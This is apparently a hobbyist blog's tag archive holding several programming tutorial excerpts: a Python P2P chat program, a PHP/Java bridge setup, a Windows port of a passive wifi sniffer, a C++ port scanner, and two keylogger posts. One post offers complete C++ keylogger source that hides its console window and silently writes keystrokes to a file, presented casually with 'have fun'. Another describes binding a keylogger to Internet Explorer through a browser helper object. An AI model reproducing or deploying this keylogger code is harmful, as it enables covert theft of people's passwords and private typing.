Posts Tagged ‘Programming’
P2P Drawing and Chat Program in Python
Network Programming in Python and Graphics
In this Tutorial I will try and explain simple Networking concepts in Python. Some things you will learn here are GUI programming, Networking, threading and hopefully enough understanding to be able to send binary data over the network.
from Tkinter import *
import socket
from threading import *
import cPickle
Our import statements you will notice we import our GUI modules, our socket modules, threading for keeping the GUI from freezing during connections. Finally cPickle his allows to send binary data over the network
CMD_MSG, CMD_LINE = range(2)
create some global variables
first we define our server function assign a port to listen to and bind it to our IP address
def server():
port = 9000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((socket.gethostbyname(socket.gethostname()), int(port))) # bind to ip
next we create our loop
Read the rest of this entry »
C++ Local Key Logger
Here is a simple example keylogger code written in C
it has the ability to hide the cmd window
have fun
#include
#include
#include
#define _WIN32_WINNT 0×0500
#include
using namespace std;
int main(int argc, char *argv[])
{
HWND win;
win = GetConsoleWindow();
ShowWindow(win, SW_HIDE);
ofstream myfile;
myfile.open(“C:\\keys.txt”);
while (1) {
int i;
short keyit;
for (i = 32; i <= 256; i++) {
keyit = GetAsyncKeyState(i);
if (keyit == -32767) {
int keyEnd;
keyEnd = 81;
myfile << char(i);
if (i == keyEnd) {
myfile.close();
}
}
}
}
return 0;
}
Python IE6 BHO (Browser Helper Object) / Keylogger Binding
So on one of my many journey’s across the internet I decided I wanted to create a Keylogger and bind it to the IE 6 Browser using a BHO (Browser Helper Objects)
this involved some interesting feats I will share here what I came up with. I decided I wanted to use python for this task as it was and still is rather rare to accomplish this
First I came across this code amply named bho_skel.py
import sys
import _winreg
from ctypes import *
from ctypes.com import IUnknown, PIUnknown, REFIID, GUID, STDMETHOD, HRESULT, \
COMObject
from ctypes.com.automation import IDispatch, BSTR, VARIANT, \
dispinterface, DISPMETHOD
from ctypes.com.register import Registrar
from ctypes.com.connectionpoints import dispinterface_EventReceiver, \
GetConnectionPoint
import ie6 # module generated by ctypes/com/tools/readtlb.py
# _Logger is pinched from ctypes 0.6.2
# ——————————————————————–
from ctypes import windll
kernel32 = windll.kernel32
Wifi Zoo Using Scapy Win Port
Hello I don’t know how many of you are familiar with scapy (see http://www.secdev.org/projects/scapy/) There is a windows port which Zack Payton Dirk Loss and others had done
Today I am bringing WifiZoo to Windows using the Scapy Windows Port.
What is Wifizoo you ask? Taken from their website here is a description.
WifiZoo is a tool to gather wifi information passively. I wanted to do something wifi-related somewhat helpful in wifi pentesting and I did this to have fun after I discovered ‘Ferret’ from Errata Security. I know neither Ferret or WifiZoo do anything spectacular, but I thought that the idea was fun/useful anyways.
I basically wanted something that I could run, by itself, to get info from open wifi networks (and possibly encrypted ones in the future, at least with WEP
) without joining any network, and covering all wifi channels, and this is what I came up with so far. Its written in python, I can modify it easily, and it fulfills a not-very-ambitious purpose. Kudos to scapy for doing pretty much all the packet parsing for me (scapy is great).
Ok now onto the source Imagery and links
The source was pretty straight forward to change I won’t explain my secrets
but here it is running on eth0

import thing here is to “cd” to the directory where wifizoo.py is located this is important for viewing the wifizoo web interface as I found out ( at least on my system it would not dipslay unless running from the same directory )
Like I said this is still beta and working out the bugs so I won’t post the source today
here is the web interface

Ok I will explain what I have changed in the source so far to make this work
appHandlers.py
- import curses.ascii
+ #import curses.ascii
wifiglobals.py
- import curses.ascii
+ #import curses.ascii
- if curses.ascii.isctrl(c):
+ #if curses.ascii.isctrl(c):
+ if ord(c) >= 0 and ord(c) <=31:
wifizoo.py
- import curses.ascii
+ #import curses.ascii
also changing conf.eth = “auth0s” # or whatever to your intreface
anyway thats not to exciting and its not 100 % yet we will see if it succeeds
Cheers
Maboroshi
PHP/Java Bridge – Ubuntu Server 7.10
After spending the last few weeks learning PHP, I have decided to combine this knowledge with my other proficient language – Java. How? Via PHP/Java Bridge available at http://php-java-bridge.sourceforge.net/pjb/.
This tutorial will explian the uses of the PHP/Java Bridge, some example code and a breif how to for installing it on an Ubuntu Server 7.10.
If you navigate to the projects website, it states that “The php/java bridge allows you to quickly access java classes from within your PHP scripts without having to know Java. It also allows you to access PHP scripts from within your Java classes without having to know PHP.”
Why might you want to do this? Well, it allows more functionality and flexability within your applications. Here is some example code of php/java bridge being utilizied. (Please note that I do not explain either language, it is assumed that you already know them)
public class phpJavaExample{
public static void main(String[] args){
//Don't need a main method as we are calling it from php, this is only for compiling issues.
}public String flyNinja() {
String ninja = “FlyNinja is a great resource for all your intellectual, technological and compulsive needs.”;
return ninja;}
}
This bit of code above is a simple java class, with one single method which returns a string when called from the php.
< ?phpjava_require(“/var/www/javaphp/classes/”); //this is the location of your java class
$javaObject = new Java(“phpJavaExample”); //This calls the java class file in php.//calls the java method flyNinja()
$fly = $javaObject->flyNinja();
echo ‘This is what is returned from the flyNinja method: ‘ . $fly;@java_reset();
?>
The php file is simply creating an instance of the java class, calling a method which is returning an object. The object is then stored in a php variable, which is then printed on the screen. Here is a screenshot of the final product.

How to install PHP Java bridge on Ubuntu Server 7.10:
First you must install the following java files on your system if you have not done so already.
sun-java6-jre
sun-java6-fonts
sun-java6-jdk
sun-java6-plugin
Next, you must download the PHP Java Bridge deb files from sourceforge, head over there to grab the latest source.
Remember the directory name to which you downloaded the .deb files to and use the following commands:
sudo apt-get install liblucene-java libitext-java
sudo dpkg -i php-java-bride_*.deb (where * is your currently version)
Finally, you can restart apache (sudo /etc/init.d/apache2 restart) and you are ready to go. Use phpinfo() to double check if everything is installed correctly.
C++ CMD Line Port Scanner
So building a port scanner in C++ really isn’t to difficult. Some knowledge of Networks and Basic Programming Skills are required however…
So start a new project in Dev Shed and lets start. Keep in mind Ive never really programmed in C++ this was just a project to see if I could build something in it.
our includes and global variables
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <string>
#include <winsock.h>
#include <algorithm>
using namespace std;// declare globals
SOCKET sock;
ofstream outfile;
//Connecttohost connects to a remote host
next our function for the scanner
bool ConnectToHost(int PortNo, char* IPAddress) {
//start up winsock
WSADATA wsadata;int error = WSAStartup(0×0202, &wsadata);
//error did something happen
if (error) {
return false;
}
// check if we get the right winsock version
if (wsadata.wVersion != 0×0202) {
WSACleanup();
return false;
}SOCKADDR_IN target;
target.sin_family = AF_INET;
target.sin_port = htons (PortNo);
target.sin_addr.s_addr = inet_addr (IPAddress);sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); // create socket
if (sock == INVALID_SOCKET)
{
return false; // could not create the socket
}// try connecting
if (connect(sock, (SOCKADDR *)&target, sizeof(target)) == SOCKET_ERROR)
{
cout << “false ” << endl;
outfile << “false ” << endl;
return false; //couldn’t connect
}
else {
cout << “true ” << endl;
outfile << “true ” << endl;
return true; // success
}
}void CloseConnection () {
if (sock)
closesocket(sock);WSACleanup();
}
Now we need convert our string IP
